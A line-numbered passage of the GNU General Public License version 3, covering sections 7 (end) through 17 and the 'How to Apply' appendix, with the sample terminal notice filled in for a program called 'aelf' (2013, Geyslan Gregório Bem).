369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 | {one line to give the program's name and a brief idea of what it does.}
635 | Copyright (C) {year} {name of author}
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see {http://www.gnu.org/licenses/}.
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | aelf Copyright (C) 2013 Geyslan Gregório Bem
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | {http://www.gnu.org/licenses/}.
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | {http://www.gnu.org/philosophy/why-not-lgpl.html}.
675 |
--------------------------------------------------------------------------------